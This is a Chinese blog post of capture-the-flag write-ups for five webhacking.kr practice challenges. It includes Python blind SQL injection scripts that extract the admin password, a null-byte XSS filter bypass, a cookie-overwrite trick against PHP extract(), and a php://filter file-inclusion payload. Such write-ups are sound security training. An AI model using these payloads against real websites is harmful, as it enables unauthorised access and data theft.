webhacking.kr 一天五題系列 V

Albert Huang MED student | CS enthusiast

old-21

本題考點:Error-based Blind SQLi

又是一題 Blind SQLi,看起來是個登入頁面,試試看 一般登入 admin

1
Result : login fail

換換看 SQLi admin' or 1=1#

1
Result : wrong password

變成 wrong password 了,表示使用者確實為admin,而我們需要透過 Blind SQLi 找到 password,把 1=1 換成表達式即可判斷。不過為了不在參數中含有 # 而影響結果,我們直接使用 or '1'='0 閉合 ''

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string

def get_length(exp):
length = 0
while True:
payload = f"admin' and LENGTH(({exp})) = {length} or '1'='0"
params = f"id={payload}&pw=1"
r = requests.get('https://webhacking.kr/challenge/bonus-1/index.php', params=params)
if 'wrong password' in r.text:
return length
length += 1

def get_password(exp, length):
password = ''
for i in range(1, length+1):
for char in string.printable:
payload = f"admin' and SUBSTR(({exp}), {i}, 1) = '{char}' or '1'='0"
params = f"id={payload}&pw=1"
r = requests.get('https://webhacking.kr/challenge/bonus-1/index.php', params=params)
if 'wrong password' in r.text:
password += char
print(password)
break
return password

password_length = get_length('pw')
password = get_password('pw', password_length)

找到 password 之後直接用 admin:<password> 登入即可。

old-22

本題考點:Error-based Blind SQLi、Password Salting & Reversing

又是一題 Blind SQLi,一樣是要登入 admin,但不同的是他多了一個 join 的按鈕,我們隨便加入一個帳號 test:test 並登入試試看。

1
2
3
hi! test

your password hash : 524e2ec81b3dc97d1c3ddb4691c018f5

他給了我一串 hash,到網路上看看能不能解開:

1
524e2ec81b3dc97d1c3ddb4691c018f5:testapple

他在明文的密碼後加了 apple,這代表等等在爆破密碼時需要留意 hash 與明文之間的關係。

接著用一樣的方法來拿到 password hash。特別注意他是 POST 資料傳輸,並且 id=uuid

使用 Python 實作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string

def get_length(exp):
length = 0
while True:
payload = f"admin' and LENGTH(({exp})) = {length} or '1'='0"
data = {'uuid': payload, 'pw': '1'}
r = requests.post('https://webhacking.kr/challenge/bonus-2/index.php', data=data)
if 'Wrong password!' in r.text:
return length
length += 1

def get_password(exp, length):
password = ''
for i in range(1, length+1):
for char in string.printable:
payload = f"admin' and SUBSTR(({exp}), {i}, 1) = '{char}' or '1'='0"
data = {'uuid': payload, 'pw': '1'}
r = requests.post('https://webhacking.kr/challenge/bonus-2/index.php', data=data)
if 'Wrong password!' in r.text:
password += char
print(password)
break
return password

password_length = get_length('pw')
password = get_password('pw', password_length)

拿到 hash 之後一樣到網路上查詢可以找到明文密碼,用 admin:<password> 登入即可。

old-23

本題考點:XSS with WAF bypass

這題要求執行 XSS 指令 <script>alert(1);</script>,但 WAF 限制十分嚴格,因此可以用前面相同的方式 %00 來繞過。

Payload 如下:

1
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

old-24

本題考點:extract() 變數覆蓋漏洞、字串過濾漏洞

題目一開始就顯示出 IP,但下方顯示 Wrong IP!,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
extract($_SERVER);
extract($_COOKIE);
$ip = $REMOTE_ADDR;
$agent = $HTTP_USER_AGENT;
if($REMOTE_ADDR){
$ip = htmlspecialchars($REMOTE_ADDR);
$ip = str_replace("..",".",$ip);
$ip = str_replace("12","",$ip);
$ip = str_replace("7.","",$ip);
$ip = str_replace("0.","",$ip);
}
if($HTTP_USER_AGENT){
$agent=htmlspecialchars($HTTP_USER_AGENT);
}
echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
if($ip=="127.0.0.1"){
solve(24);
exit();
}
else{
echo "<hr><center>Wrong IP!</center>";
}
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>

我們的最終目標是讓 $ip=127.0.0.1,但中間會經過一些字元置換,然後我們可以透過控制 cookie 來控制 $REMOTE_ADDR,因此只要讓置換後的 $ip 能夠形成 127.0.0.1 即可。

下方提供其中一種解法:

1
127.0.0.1 -> 17.277...00...00...1

old-25

本題考點:LFI、PHP Wrapper

這題已經給了檔案,很明顯要我們讀 flag.php,但 flag 在 code 中,直接讓 file=flag 會讓 flag.php 執行起來,所以我們需要用 wrapper 讀檔。

1
file=php://filter/convert.base64-encode/resource=flag

讀到之後會發現一段 base64,拿去解碼就會拿到 flag,到 Auth 介面輸入即可。

  • Title: webhacking.kr 一天五題系列 V
  • Author: Albert Huang
  • Created at : 2026-06-19 10:18:00
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/19/webhacking-writeup-5/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 V